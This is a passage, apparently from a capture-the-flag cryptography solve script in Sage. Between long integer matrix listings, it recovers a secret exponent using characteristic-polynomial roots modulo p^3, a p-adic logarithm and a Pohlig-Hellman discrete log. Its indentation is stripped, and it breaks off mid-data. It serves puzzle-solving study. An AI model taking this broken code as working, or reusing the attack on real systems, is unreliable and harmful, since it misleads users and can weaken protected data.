333886077519194069722715468566623153665964631091808554972291826855965329975343179931284895606118086443677492719031138367611098017228121376747916733751709962747073152581033639793511645857943186432991268071210565123320851479459058708, 115675148378744059725764267349270274141861705520223270686955058913824359358037473978221799979560889320118197498566797447003887651278393698705754514069517102474025590939557954485192463528157572803021706860165662456232725087775228884, 160386883759466150061387175402508199526191384796108758588280558561382589129734577583847726708964338950258263432258309006152415351395459690481364932329215351876127671255108697767702820311902226682488835502910723726508080312199734347, 100141701967742149198986840091380264975016081492978249442304714626330387380018150295177055582231694053446201714814932404336231717286766943966369467308248464005027511313994809298125320423093537130129802295097095012946125164302440859, 152727816916083301331205862926781551893690431056920810348397475605705956782737852824989384625303753393433169913102283572028370922697507822970063015181479650490564711371857109908782898620726634878253643536476630608840009121527087541, 343710560628249841860382522712422233679803175731149638795788642251216545784182005026570498716061303188799029550891459189755289995686076814861164505831197392994791572818804759690369053982508298117686293764883879875479870047211684912), (378260912515269279750370403809493347685732788785541008517296604578773100642041770311738905019051931715707652325075668157454115984142002648855664285594515582791596577031096682578640518780731147917267145712423079795196492195877348390, 443022718492066559829907730409835659350960769049945409040998641818444592200187841848444645204882226448096759628485648043618498507963507941477424695385910297531967964130978742624279325893154540484897225134537026261435763714098993691, 442905181440137262223409015597038750618845392645769378673790890129835371716759590931273254923160927221274568032631771328802889778591346799504357849664003139186389045739176628392772263832999551054112834087100458591803289163566802189, 141653499735013336654452846961260973323553652482077622278457423548688448378222975783370917668602785107754139144374098030106910801602680923188172708356773541363592216192170407914803481026332151021727531779457197975383010423341327135, 206133947184082327873183220534356378539751761951131105378728599517430884433257676861822578196923580409088488212309043363818960680807071613598562819855906218078420033549592615413101490685423668327061816115423127046198519993548576968, 307572546684922436968885828801658694803981817530099687130357384831733120009278534607116300805825799773356555720497625324553113018305369240294956847409131947344948127122651057400035711580016019560662120191084141176418027378954911443, 200367857160112404692345376020057458843878718204928444811970979326809843961436056879010958354347906776120439066364334528144552152629020345373878791255007860741687919369825898487635320588864896948318099763490893242745876874974777650, 196546423432758820405123181623832627058810530950048974634360413482965248460342204639698707272721101851704215046156412539941174507954378732882865511908731876159876500375780990537579111455651150241805008018830807367470118051276346354), (323668292496079814695571945474095449405338628795428110261173317541751151715334942174504302607588804610756599613959331768612846039034984663526994324565105625272783569662264239426200304233319697938610040898888577008548627774431479732, 140699034074122065256106025232290116272375502021253445854144545363650205473479786983379712831489839951490301751164687395163061139738925263346634927185843696941561452009483828044594070804111466954589139542999392394730689690137733865, 380375936986845038871551809892622465639125005771844519114116434850737110021853855219657706660385238694144858204780903234710046527915985563580310037104743122856073826627642730329850308370601926063577743719583636370982332985555305202, 222721615037081006017618568159299553589116460060630771488412634838613486629595555102383711051074576819743764513171179361670244517032766426600736379181343009675113064626929753379487982248283719915689208967760768488998141481956037486, 137109026272557582450676903590369330529907655859595897117236909773986711607577579013419357709132422334383225834738853489722446611069245771152984684696927411450169127775236269459102313200207740725978443543821507856268390820308368097, 282819847109111875211548657561432856292512712750918517890307608355678960751465449157510760794084723393662477858027766206433994368962842083386543062308360799675451066488346908987431370491067755061823090317508723313278017701827530477, 17766098737960831446535735537114926624396408289721089223313388268361139788962706083920780819581240150208342519617168807370449807513295636657806358216912689336095576730416148100913474979024030097219996107872237252636810191462774121, 28039555921859855903147577222205655580237033940604282525328349495963197823028023887102561612611155530884934114983775602989240216330992544648122757775772623060959691634439226243652380496710513058892499174292813637646805348005558099), (196780113321008839279775971806078435491124639299885679528974657578950041985901967215248120218297697420672022570582393242604356896218145470629598910164003805465623321716656791192044040020140378989040436755649052059670554105838360973, 60365964129141780376309817223172211351106512478955416338459077640975589720345790479762899297685489996852458672755660668139031267846349831758827353831309129868216074410595241870440951245153099737770602868609363612686930511645494573, 13758053418275401595560247022924346881263463429411414531719482390263307633002989951880349016851689423426394319313377419637931537576985029259452258546132221588901488644177370323194341827366233872821281971632078790266162658349998961, 456208470774518580939949376064682078482049719607907459690097280073638161608842360085009530094331293796933273260641685332956259369260204186208250417890186497384192581448665118675448937221237109452946274129683167496769689742255678035, 150223822852321275563525510091097039479787434157193536492192820409576956223323789904628476393193714924115047415652735241422331696129313553661156761646520993142383572119256375854028647414720832048113239054367159207427346592950389732, 68505521449766005252785930672715662075655294861424981807673071793129364231524891137174676574704976057084082061339817617542761392798518458926238368862446223981127513210933386682636085083104846184471547721186386545450541957799611475, 198409958689859354861155087622902179335611284034702139083291649113639945818107615873946631117647588412271720615969025070289647696440057605931537093898298764594250314729500257651015592230408175244623745044335259219271085033396941652, 180686784241566922902875966772921342218490935837334434846529343653453860221683328267701500998902635502480178631072520811242900066928189982690815004073492900171942684820719841486746241367361352708319624233982154707503104492452428049), (135291065328327055945680676329512075628922163013070432065200521588814858478010611106201867921436691784846271579704959895434049745753213048150465082378310724123176075858165242204601910158194510692598478525334699531677888030825146009, 107648657036507820455839154599282144820928118251959687132846418951132271710795131321708708173332682170118695319785699815172170832456171961590249399806120858576622175573135668042965054319273266136178681187804056034343672556689383177, 444439219438063589780185211715966524364773197685844443145920739209434813677537906686389057430851101989528526827249115180778068690349005858119233602019492587178352639937666281224355908189904174912378526586502026041908132810030399858, 303685185641655654806311740386381700661140643746271182862984377254057167075470223309850167668000129035529735250158603431166045230356870531321386875578198077310885518561805206624278279865734994090139700730804449034879953452769405053, 475972946973456406149137884044129543057512128366110867538290518786782463232662910835157506188724643112982982373523310088499730671761782490805435826849200519880272465961891066031526038538828559954395932129564988466509175028533881386, 167858990822053569889619706038237502315379960409198585540535001984976484218102301507661813634072062920841258648880027388151763336839372709812559382314337316028576273644639083778496560295818513866709322268570064455259371240961918646, 299987466157221862954623924201456599212552394044712682628816790610247159630717806315403463592071710314625809462246782227750702635108352257578996235008353539868875533318440508895987124353657033351892794978334779078322197714388681044, 275806757295949366848339642625270473753526337140187094741027128380081183764327761157984949177360325630653114535671142832112927687706361594796791487522845781216969810387004486184626474335017374632193157269613644575327115907168465715), (454203567324690951796337243511289947831623918865661303691904961359350970269882858427374495049913360353749003113401759269223421940342615094812382341830735191260027705120222088381530352626858649956458095472485711713187288992426687490, 13642875655579768425151737966244180198947185085905631655572975660112241401153998562410356333470883695218902038990526700355340775651598942318758022716249258621273510705017018922682940158017250829572427482270236797910481339221976706, 38529347486606269299865410805451621470813361410621199206768752562324097679725197412877165383863583629436075322608680605695968048074898223348599601672390409395585193305010186702355551820088519048067553439060690128734413639835564496, 55342853775111293342985871325646311760560732310330582384209471489391682876192058425231753051825822823386860240196103545803592432425359915025414286069570429697894868099475064000126231250581177601134399456333023946818639768307814245, 363528894569144546285063286175419468475540323169723345963982240307165070786643651094936597735070984235467876537423782483522087439764388848712261276354833228908296216559496061503997094749695863756068550840417441997165542096835660189, 169199758247527407688962836099334305761474456130020474155548835335215235690636038890587287595919166771295302325890465219103366346841001262210448258193670483713058207797050107489056346915080744929601966894262203332459456992626841524, 485757167924083919411499325903821922922195250972710206289141869217502287881496553476033839772232174977204573929554514685722664479668503656051931435811463913801094100439227567256856913737806255900292907345160950691691920166276292294, 100798615587233335868789319190017274254311873225721885186080547398477587781853383079499707517174714192458389344546896387529556798757019581597671934385624492485710156803041295010657704564112546772933090355861833325587923175776609861), (331320173364241756473750613594679834966352638058616497006703277455486858025715277822573375828520579067357662103419072707905296047713395897867924256442125076823450899070145592826836753250008709635526509094145101077866691541611488341, 25958772122849545887904510346509424385237332422393104441759009034527059119832033504068470300633874029294186326391890843622323811547756247737946640304484002010212539617397493747447172691314406987045000538726558988723752185288910027, 327102186995964461431775477450650835610431392251263291394684476628946931163313583551363572205117072518273574078240825139802058966950448166329382695841179033158282922762845436965299294491896455630627672764613848988618257951422059142, 394497494212228957802161190551839893481026112921073006532717343918965053941044462269265192018544466243819410636859696105900807857945938277287096901753440382450665985941730017527071773670359445658748273109535241633372781115609747750, 196327636535834262823234989305369357419961720812917902067993918713246915741342549382350254927967631763431350030121972530114911142554901931685383740299842490811582252047276281475306432943230385998384367776221931304690864560849850420, 176932605675163638623737818984197320151982137512169618344579481022898847208518789399153716373931873240794480141083247379144061730043106575672330616416741075136214426389262519416045566261083801954628853228827405415017118885444300324, 135488753544438346082349500899241536734004471666256119487460208946420284497778060807426198837933645282357528921572001755575856253492005187326486342054804799491756203325714994403233823349487862206036023974163288299130085199238683721, 365062669360722114544317005086432120910385110052754362782363190846202997782318740730213832848747837514689498427698897287966155790204268135850059318591883189932618970014230585224284143115369049852849734180739142839917594963064637971)]
ct = 0xb7df98ace3796355c2a3a9230760569b53814889e975fe2f50992b3e1683898d918ab7f392f80628b7a0dc3a43e854b7
G = Zmod(p**3)
R.< x > = PolynomialRing(Zmod(p ^ 3))
M = matrix(R, M)
Ma = matrix(R, Ma)
Mb = matrix(R, Mb)
for i in range(8):
M[i, i] -= x
Ma[i, i] -= x
Mb[i, i] -= x
f1 = M.det()
f2 = Ma.det()
f3 = Mb.det()
def p3rt(f):
pm = int((f.change_ring(GF(p)).roots())[1][0])
f1 = f.change_ring(Zmod(p ^ 2))
x1 = int((f1(pm + x * p).change_ring(ZZ) / p).change_ring(GF(p)).roots()[0][0])
f2 = f.change_ring(Zmod(p ^ 3))
x2 = int((f2(pm + x1 * p + x * p ^ 2).change_ring(ZZ) / p ^ 2).change_ring(GF(p)).roots()[0][0])
assert f2(pm + x1 * p + x2 * p ^ 2) == 0
return pm + x1 * p + x2 * p ^ 2
pm = p3rt(f1)
pa = p3rt(f2)
pb = p3rt(f3)
Qpp = Qp(p, prec=3)
s = (Qpp(int(pa)).log() / Qpp(int(pm)).log()).lift()
#
def r(h, g, N, p, qi):
Zp = Zmod(p)
h = pow(h, N//qi, p)
g = pow(g, N//qi, p)
ri = discrete_log(Zp(h), Zp(g))
return int(ri)
m=pm
S = pow(pm,s,p)
c=pa*inverse(S,p)
n=p
tmp_list=[11,1399 , 576647 , 707717 , 31455197]
r_list = []
for qi in tmp_list:
tmp = r(c,m,n-1,n,qi)
print(tmp)
r_list.append(tmp)
x = crt(r_list, tmp_list)
print(x)
a = s + x * (p ^ 2)
print(a)
module = 1
for i in tmp_list:
module *= i
print("modu",module)
p = 79008119711208495443423312926395331665944721527891616265679009115440018598629
M = [(347678119958623460788277114650629774156484674182390407399241523585095496347942772461000596396901640484684988947190109655326521483576200233900544625245600119191960053589012035537199831277011448368613385709903523556740279710104629127, 444211323079879570538651632722098964455276040143902990421762539018022383569296850728307819827968466931652216269183647912469948761451209381276058842517332853698589849162851683768955092271855801557650839664624273093462916802929350907, 389396606654281224497105968939970544252688314372350659656972239889870980785246213815536002322789780387580318885906934486170473525419006357982158903730740710980023297350968756236102276271386346469798976862109145537838101040408820587, 55197443724371607001727245468467161526790699026330775880731850471040434310497369600478723267196488899717710558671332404670233719420992875735985329000814567702670999282698414113183576703463352249859300392785088713582792961381846484, 417040298815206153009894309302253020063754161403773008029537366566298883213853420596295869167792196918558312896346649716803878757723186307198249801153874858076172777563471364810800787830786076561750158041469900092598487828461197774, 127707877273623052473208681094067078630772222772401066740928445838451601510893795542714452034351295614935354154553839732084332538620517582097782961860319622427490052337415631683278672539325114498093874420561779032644187025529937904, 53558527487363456314894683621019248149442517710836792202317220756130403880206179594795975110690393421925222715987686952690272492356773914976335904278186942121335664360036280502903498645393202985787661777693334718043601039027459847, 9819336335938222854664208554615310687581583386195054678243798194121790201631757068304338165362147366089621843815735240596160848240990751059185000027413621502700583062646636189729276386498444155782815617916333191333937034271590791), (344221072627038209103759561491511442796627777075649831226806391267516140949984907999829525336446237691548967012033398172655720020069993364488427327727965675954838755859017209859320491532866074550838846167012154372407940364247497355, 160851030357181706425258145580629021356642228478249361609279427322434509577628151979125129451503477614315230485457679520629142148453017378132426123188179984549189512670486807019440004691200065853997452184898643258104610477385420491, 144923911422826934173272123529726720834575993839793663266527776913213728825897811967222994713736236164400618691622249014503791047270118498376192361476784695269707056598907559178494094329857365623305940244348490852449273102246187261, 8156517362284210441409955593538981746405741693240037029797095211459925826665927622787052917180566407185521255247179372934778963951383263717981440886115044082609461652587891541234073133766687577213638516943093483901124305628415794, 278967151616290032416297538193453961465493377344351391497016940269161902377745914236283989672035646563877321868531656750440402227281815263183152512726052011974425229429341282947133309441777117454723368362378279652764274189044067411, 323854622052706547244808972432023622917561536752684855051594841401611326816232314490322508110512117063519702425825076068152418013455564276662343430918368542328933117359411072959916305193855929264346398190221362351312604283602530916, 250502950002827358235310261600307497656251445433197634739930454726770880043478414680188068868729060468473536601463156639704028120323653305687500121586098678210038143997062899888816900087323847847730009918908265551296694457885731913, 16031484155748743785552038433314841198261268204956805475912249988231293693809206769302989236138591591521853626661930029776092376890670693156123334492533217701674828712129617129024961665657783472926454455718295221755777447102788197), (134462662709344633026611783680728397198918607820443115921543164815324816879539025315445788869102439171623505481607649752465294692682968702899443959434897841947700777957619084551596464307231209892683453615079012650747748118959113464, 391302022710538527114038978764307195138123402371304672960354058566064589093754414608119840320565251827794119318690316418531550508972124937959987485712718659397905156952760521044875454899996898374044688215685509370526081007001846125, 16295181582565480451076161591631245775894671486329914478186945166625555375049345228437001872979924121495713521991168671603711744190632953182293251184093787063867063687821786334813217065136790894223676406981462977608711429912853633, 369263157608083171680647138867073107390306438356636924816114710091029505451894384575469319259431428793128061332590162576398262143508725050506285740618182449305956507905732334288282498979041817994810883617601991673720579479729559997, 204306190526105932470088245041825520778872413136782990325425046032159778341333009819380389169749994460998245171036626480013468954874832416267221754177965240735696340653724431949324916357798785834543977891945540307280851141279396075, 389645112298834474398866354358868893359932818638433667881284511949882947203160458503508481154015103889785414219011618888713679907502292331106569559063021538247967884562735128331636355753007969797227272519143216474411103605169236951, 458514243577502634503183802587236407158366948723375981663297913698334667155769270422982437755553281264271951608487755316355355212371251777660133555574623223898747330349245698186490300355873153184519132567616518246335909234236644029, 270447154394690486686754245253694243177263143345820460799187796730518087031018921859054771202034394492097589468189365264133731766837441063883206943777509575678314902816237212581448314450461648939477012908918296255606106562014902563), (51198537560740594623749358582725227077627301295670410923249000426723559678809541352888172403071649819617298439051221258041663611040848543807799644854108220270178928660875841129010125165362142790172373669281451452552741863883910858, 99641770757101737029542037956421861300408933209879799533611874216234843235972069359245283436913075130906650555118585958788505508501634382548484362456587697227109610781502708520819016333621347379814351408448497556400247072494935627, 421046730195284146415264715142410971973849607847800145197860030696131941356694954628423985775937709649778648032394910366469904015796160690612877944276105124574609631020654556822466004845435018019920805635656707439369032804510926306, 477516954225627261649687290337175054036375800022868034654074804516359177013490411184818225416623621196350557892048977893803536456939375954322241199139650329168040747374879506489182238513471729966479963602629714598190127264801188366, 247928026937837554355145033092270300554842493224322728066824513882072761917489193854492203855619305093589085307422034217522446797937026661875574555875005032824544900129267621367005192823078805689061004908037290287083925170954656821, 141853078298246804800793823650413928994959181838901261185168152661772992779063791532366978747137307158520272304228098476644472849594175953250781295897569982872411399883226631120474887345544496368406330280444812444794166162267633893, 275867151901088813908452913880506695695504260055403304046095302624631865990598036693197111495659235956605957819210692243568899040830830165140276633026939996762007356808290999406426902762704842861641578412497336434860068567071904717, 422715621377225990946489056362732944619835399139280916956752062526661552395429682160766988840712207661231850640516455978511635878700597407285783670789711971257192384128902842017556400486124144501773663263068375937434378942699177499), (97718169221038638585050853769328815125336108762691702108071812025326727809259053381331538017571791258464615163192806968320146284030498216655320124183361771134686470767607192438658812771378065930182061379991859219649977913861017897, 48866016248539440081747126390251812820049476623892603808999031103920526565567830166024215892493092791157032038569956313674571052788336906113395529951195551316680567158208030086370713663454649068078024566884767315916799825101620508, 288982243649474523573737415762940643624251188876534847318400119187314054907226215553943648253012645621033043147694079844258040494202315441445813033747968913176678534442259623378652655417022637462335401427251603255294148043909305611, 222926930359894429031067566839862783704586352632013772308796423027396871395919677074128333677255975415362933348338257625271617693334064641392015730141008122773769886178846688362636273274828198058127202925217225663496639999094256412, 467102215937465841863457728133306742748093130511517567779889974488647077594223970469254585740669792455254899626043402498420386319555708453944803278787465513485488889285821192026895607645019880121990519763178154613630940927626212538, 180382682587134568933177648439318591154991832525207007837471480865338528568398804451795894087514928426307349284849061325028156371483396714292808125709919106889837390356040612530451147682943897205810790348415563405776670174659196451, 465365022027077946173297051734564019609673670657477568052799681019997212636277909736558371241157216598266868885370428910346211726628278107472993987271318813368565540085214394918411725847778599823055793601401377244424002941952862871, 160383938450880387584857741784237253653411075047224510304318482648441774857889426659659825609096420592985660752329530767231733186930019435813661784912049437430628396207975330312226039395440726228675090944392886017885706116168499570), (88879922112924575576184949252769078684998502533550526748699458818918813381407910217221317107582209922127877434689339462581626923597143430107508619952832055268871541368068614186130551273431488087012363253998162253261830299714697363, 471466337272277024541144902236194387834332813442887713050716270121449130017627035838208220362142197048338981645612554424468509377071566569529948004365441233182678292053614824314801745531478143045725880070818555542916870476154005467, 314015874261088917119070445380155696454677896381955287076997643803067713741272068338262510738147775772149238168094729546687184506623629496153791635372277431001062617132314520317058247857998330983665845903826400193140603476244556546, 321997143621710524036491111925942633130325744033117721723808812326473800035587586636383291921313814025315496668441442004599740268254399841355783778677909004998622790019860334206895849856129248849621798981164997449733165901588134270, 411708346694149746803778763586158245419631857196436369760702503485328425241775130456507646888002473231427647717474153168724168976950596067597032158661718114334930295082329829452096808999386183066916806324840427311647079692359049411, 216385154420057048706614325845651316289382990478372830121532583392302419920738950597312092915591889010954727973990728400002567653612387058422340229218949469568907619078850600407639741671876791072719163874066447180921112103565243931, 111523682512993117113082284989015414545047398919145518567692247094563763679705392450031104320951905567233333183753138209820795588972051081650937673352339151815447796171710217835615677373729845659231209177465207517782414301012089613, 103079965048362151777337252688757054446795558604378649495936980552489598796838265407222977512049979129789565085280115616064322018798793650256749031319583450764861868985882674752559469829345580533630847612585618276220372501183544442), (438862098728236589900657735299597012163103761886358247867589852428310291971665415802316991486312917640828152459278893825951388997467730667706254705790766632977930430881345198316488697606595203887101358381390177287010864796317766737, 186281137806715442120797627520637223977095064581576047024132710790100117494151221446570875784179004771205057673008509138256543902960655924833468919632750533673497333715745108868170285444332158718396141238328733302293537106130258316, 100536775780026308690893115685912553600368283269480000912956503006380232301469306303611684636727473688455199769164650785609407467556175057171971723188155925825478900299975409044173880017640444686498392077827702823841658932399297011, 34198085957823799426190770813662983674909082148068733064817318260729301107796333397704122872992838174038311359049520011181279626244205822226654898442988395343040138187486273307040060503171879939891524579313694977091298929325903353, 440145693327632223535499301617250561846004975673383255753907047110269646991601381197055849748705800992010526551775121152386999353250131200873204299386838420967732886253376689422598768870131899787220938662143123403201312736321266732, 253781662328615406979988894071411625617898512915716549983231316955710799053716800173453332400409819337440476338491264607653885574037648621035626386891589401142568688563480797363431300529467240303864209299919816880264656176714845099, 101250276445253892460363696534876121945576962317179937793638450392828905833215769079510624520708407600022104683844611328080306125450254480938972994233153979072940128864209669141978687440981636682117779966638793360368583832820647429, 233927985567339180725752987820007785021812940617927546669060901265748720332042227286700469002229944259370659828475453686102204470563890062336259342081941740013812748837153685436036512906569625313264400289077194550659866614215919258), (97569386838905858010236004403265055784438557361317652496677195903888709828446206426335144197360257223875794412164587876897211320842938718907543466905408226624112457293403600524976608750253468936902194991399302216534001780338048544, 114387802543200663063032046650447162999283002233570653586344104395583821437126832571543265273521228441701529490977656323716463101497387270416592526260538050538894661328253712014311324898089348518147557249543983902548245408440841379, 275995378098065734729702626885501143234566566802869424070754368018683264109574487553182112919356609818843752031533427294494502826639985274757793718795833807847458934742899326158233827146021405020603027161206396048629903567695649896, 247390830384338670575031511036318580157984049784242586645349784353362476026928054622944972621559934108379156038206594461909048037109830605515475780081631764376188155546049861592639905093180183547950031236729210530064358005464374304, 469887957228202573319982871182735039726402956158007394502980093285356478002326483673025800590899504822290164111805311553787123253732772728454207877179979459269443511168862971232805869239275233736586492978332188960712644161596622387, 364995454036511583022864237485246245974826920958906181249972329284206202589428440098640177729188844510487766326465730145012710671785489023476705056089747766719108681639452142580475269735142779399751387994179336351213672807686008399, 144349559643636765794966525222174252648836842221816308639510173845650890139994296673718160556928852257192438359469073106140767289382982897863037743749489352636379233954970915911125370386016230000340118640472057896952912534198812622, 445926690035096711058688237447141574364203293942083800808917009959883405223529254653216371583693273191563597076452910473305818575577766404269991579514954907602005495656306426843458190725385174022060682281541707233849859540119073308)]
Ma =[(206739768424289995451379398337655608403465055027766062967580929283061090086544073423258115867409009092522507228936186770868556105745186863859938139174084244311364028597954483515297909099794805510295594029536567095422645712679806242, 382562915586718065879841534272998427998660359610099989658144416999797696632121339288370968165694025043104059500196056873941019691438728780462884770398254519774400446744767808508879397052746123619509589032620004480995470576382031616, 114892496984246433729398168543811142340857269117663910023242903495529086298397872260320850557185920318434462154333027987306461123278340611731417943226952018780234158169227780656661496027594678267823376933341808174521586252347844107, 359436348849617938631873704804625585671385358364963982613369944772032384982575639592334444443905740023233393402361830107651422206017868997327492094081244179129361332339949436106820171818228473882551667780705835467494424378586197979, 230035681988760462584479429500510686841437986679566870458718753552475834971327193239215822400672734794371877181951089235136664783990639386330707749571748579377391901978506091782891154738899622675106871969584759356212098095181531325, 26104030024361817715524155452906881481483833290694242559193802912808453584921873474148167368137729510385672127088071748599124859763827297739296128903117715703647645953898047818525455812432096642649663428820153492204491545275847578, 399217785510963114164012324636161089797181037664139977002573483579037127911032706374655841687064224105504227541566644824198893285827575706237676458897623515742120343696858923999333000010138598303054092639439818166426505581565803420, 424670096125546444564452400779433655474175081693695827789470621582840938343374561272380146322748420259816530568034694558789495384304336316967763525837220349982790131991086460850306769623225508012135790138058692443879444609022631721), (112802181908780696786024305163338580395135187541242450761534775398797575592248754754041958623033810394083469556185204874750702804826683576428597548934449344536899584978619947243414051513143873995804838813534208137713764249146440425, 330357768221341177094754718206199892820491839114957501758088933540619145752623336009387404848742267321049340302117524509904304935475952228324309050221114520517003614548520742588965584996860963106527350136027721892212922539936455373, 94734409486539446120830072070020934001340115831262475811882517864090962567912245374084830133609585203482044778370787400383009237929537051352918856553738279669541968641940137704886205163289314610697149938897286601089370929640339671, 407304333174498330207813242406707056775828269821430603966442883159438330588634005406281654289008737634877057283748770987820755258392862284121164560794860789219832430985940211943965994171863979353022355124174996281410627902952729819, 135775738247440987345608387190244418127372308646944678338042457061203262889043191854529100461118879657574135521960307492636023774002606295430509373289429831234841725036012604894759156636838528015725347985546930657506992966915939209, 117531396247378578658359615360499933402405042267675232746828748488960880426879874066974805093090059686396933036940605699139150621574066773721216479654515622069433646411070099152536288593975102515439192610620377818491628579807151774, 215502176468192790196648520001398947387943819789659219187091911772194516402531330391833923628769831966385708137893264371679755796383245399315428921874620062068005489988239742440809877310296648770105269542686351053797271203178362137, 172655300193063401588964199181007423145834056722312586083350490319148520232372860174135598619314108210660413807870327094149985441000852716775402679784962007685008452753517696089474096202321518077358810223223268885164998998274871640), (19596529668521889820415448487485218136874297949284570575522785460789385017442814463234739738989338475851489263786305002804890632724468665387039586328565238209720031217160926501764450913905725915473697978616419059457044170544930587, 309382258188510725456358118877923209354232882055542720263678713909435334857008536313039727396917921994561062195128128521214413227038847912829108683750232899971979519854096287958044636602539208291608672793243313988904934037142657559, 327748032188201965111858545310651283371435429350262559280773108605738049189239518532813432151254162525633054693291029008680852651601626615429343388644389566208285335837898588243129899179431711858607677115656161438534363815555803757, 311945333819513900838146725411803430100313209197085623297479702112198955101018547213473364634602566644158113193349859509837286062630479808291022887591750865800252251870559567198972921058464903273762362045753249986654652684541679530, 421139319657930082712175342000949141503806976507912015436463149219793467073778281341287132102333699149759339547373409493109118537219529791611605226603747851978544874505849275774485951150088046342265142489984682945864816321849723092, 55114926113072208745236210622009354061170523971744989133646881315117560916247828293637849646948020991740411746321010349402551573632353808621879262303851165608835995966845419249843719341629734464930287294380823793098865973295151539, 485626860749278499674538814926858777265145751106748964701804485845672197261392924411306723845169776802316701840167451628670688342584946662101236461096720682673560065016628190511924377284453206128778484865744246144778927486264456996, 451190850454546613214713026456030883296280794563895768545560041744945242353633459110563180719128678276583575326021437547656062986416503084531095237944141369915356765394519489307554825079641163266486657599553123056951867107756569312), (69012148315111357033860779978728314581613673775563745466512975467230265580931606824172835767873060141468336753336495192951955811962002150633318769230205407933035358606458211502873695806675157861239323728602157751511548452064122994, 167128123066767938170840550290244726445253848640043032915748542544234190335982517801036072233174546181747733636711948236348876856454683987888581251800759220434166474718410101702108741134081948907876698796553364955931709172518289985, 120697014785960602094550308956835255661034112724498205648399168047575337344514273909786062191821983850561563413794077373743602882875669209823143983906103453307868010689845255505705333978289779766288712580219568895577347711126211251, 124065901487217654378457709583463851027579155122998638960810241595753922945070741028513711468496074598976850504126408741846252445456058639964095959655298844197865223377145982110742996384474394011803179261566208390595658806885286714, 176523228173908115459256673752458309960935648529324985881147191181341693588889283624991797807900452917529382251738537513676724614160603056197926148938339734811023455094248284978281605746072257818770762635885269105621512152797130626, 457030239234335582061709381459374878591479326970468103729348903416323659017739601492654595658107456872361691241381621399455337436904289270201631318339027429911860892896250103879737493130847358049484539626923642764080971036904048117, 211128527306906240686197945554515706262456310044368810785920349958639417171435562684312351985237697357104433051122489310023169759351994208294248874492051888506392502208517276823492920893718633285550146109925425959140959929028761711, 467038527562091332295181061580210361244921320571636155180873887984523043530909193804798409562897831964690254428843921549747715663607477518219877938424323636111299157469208759054550512672338019965456209912421388790248910549703361601), (286889451960762078008374843702919154211598218509773022676002528625062923970938864332387046308586243744755705910363885283582515100831772262038017965400870411525869658314565589134201966590005301840033603248541806925501023094873354141, 424430968167681669348460078729197444059014196361100615166208735149397727049749010735790280624279805262228995276049639270973068308019326344546431949139218050850103652906114481600076820885663411432366964970304680839893307290146527475, 102162834351005713554042721720151654773442197852055070383768851902533035077390704138216695569017569922825786373728512729031876641480950000205964049908335217664593457590670838203598613270829732545651941427332991182350856243824424996, 362436531831000051380598240785672172625998946029110753337471448631593860593895262037730730300370618354918017559074970765022276056636157288439899305723523129643147357335851699145590750032296948975862019978191931833789804970472630477, 63935904944588765946334266766562844886775398881651320301611765460809888464098684381027093362267562367828002612311602172310146288840473359075552677906869510436365715132492855559811718397265183823726258343178216270095375938351598221, 56334464633924772329213989954547659438550902103647129977088539971245509202657229014333987636165509952038659800474021155928698809320567763191172681556528878444838465794236525325724826147767754150939518244974638428428550162731888814, 4666854985924078285850691634923897966451833778005653994005631446242284827142081555082355308862030656435305402581074044622341088426620629410503684956517405750598309561266224069588880032003729516730773028365638240768851028134683191, 257267584349654352363562675775015826092465719675656353869490935505406502524613134365852967065267414581628042406629009273014296098013501677907274627188011390812000634763634262662410040825635530225913615622637219471201979617875148059), (205472258748247968391252342204306899259272967802192167655561993080731738609965335396971831557583278031043978883611932406512031033499960418640080958965889959233728839066270144355400866987712362952860018947592633539061870352212898380, 340907386179532648220463132012162752460847843653236502545190607433172308929696951601533863456592451726433615290686042748613662305707824500612657407793143272867514318257418975690737967057887231198187591659092941163253982973625480805, 280293992462769563254670588092519422249143939149950393914068618216938222485463256339099241635391660328805908290810577368933039145682104188475930140138412874030813697631661910299972989818435276627764309379728819897858301563814669966, 14079730490341374206318802662246560704340203682647962922503369212277209114843407976759294548200499537261595252162356058744162509493070991253028758296018508523408623318621956854835254957483204095829279461512164398152320909641204768, 332055031952123369414938403250471739316272754685397712355092108386360953850427791478266200115111932325768773240986504121108703369704012881142498156914950868873042244049665960216120748237959703099434921793479664195766438168116338986, 437626510924101776153624449664740498372169620943426774791954180896965730903375788184329771227121089525201702076880923446508466859272821889868899863350906500775393218414657037090418474733611129592329045499648135190545809562088706988, 47877033536697263671417769427103003925520709001054128857291517435696557773157229033312913624337899669825943125875830477115205989748455687873958401331046244650899446404490670354251227279092089158456897118755100056045088077116166269, 24211181002477092241097087007722112515886159959270886650735856649358694311063003794722346504868720829066889125753567377157947054057673365963361710821562752564072318836428898378658801010539928830665714121044631389715737740048864226), (121793196256539114786757418188348804946639586769646129346479386827275177574872938718334235069010244319969030508174612133489323279924946232282901309363069177246544976767009696558995412287371884167311594891963684400757204463082274807, 257192617068255068866447964030130965944740805580493715477750150203547644908237702948282618995817554824951572072323666978546653865160905225901738468330639447046011591976959449805217098095125731131929248906633866803903441691248885372, 231788206481747623048470328882955956173173962891889003250650693899084913612096995872746495155665964419692702554553875713627210649463661660331077383096957887944856158869721105419040920582860970445686984900471306703600921992072707076, 325610486109007404964388032944702953793282865935790520132179948314866397026184724411875732712570930186184510390829035280799019938029767687255392454462493636893171250444492107035375904168464234742849584073097046274029752739580440798, 245033226906546268180205401695411869144576884260296287541949735578122830590058536040186991551867947239446831348514322376412622059802000763739204213391486638595656873012001229718410258552300925008387800127669767408359555630556491352, 138421605257676539579391859006147077651273406295626791183640647399695168643846559403480735337784852285651393639314578254128166022809501253220056857132899071469327029093279280479805026696489431385355628883788495283531323403771763722, 144790255235505859656949633523119421953222643213725285961638466725917121613922706310341157610865369570255576398972594664377420622723385378095740777060293841025843372025377007807051142047652481204587990204632215773976347127886852948, 315657741612894943016101833051609698393965892670985735674095134332329025806098303614431765806531730305640380985849327562185010540847520031424606937730898173348489856866422490850445891524496873510117477320422667974413456698965449039), (235366064826898644334025784051618445958418381649404431381928396786434112486793419003015646075592379935503961291319453770697170916944647647717922077582371886352591578460421219384691055139660032798228505567527126999990679695045881820, 268509531845862080092260936568128092752664650191005625512396807836480988959847119477843837957325761041853438740032064287373197069175948810979043013776971941548085129143445544304380373367086522606695904633997206470862393274778197587, 422748155680969651610398924743843995014955950961537354917227217148644032999303611036192316478001123506144784938027433588946997801658720940329768307705417474687829994691554303435860050499476823261737606556445050926072856919554772433, 161717621782209062726022330966501822351606057505696851743939082418965807168611061532022480086455924870260019432154525897467099376113909854969106879874618375572829571146545031524527417821746372676222787342162784809855771818317714630, 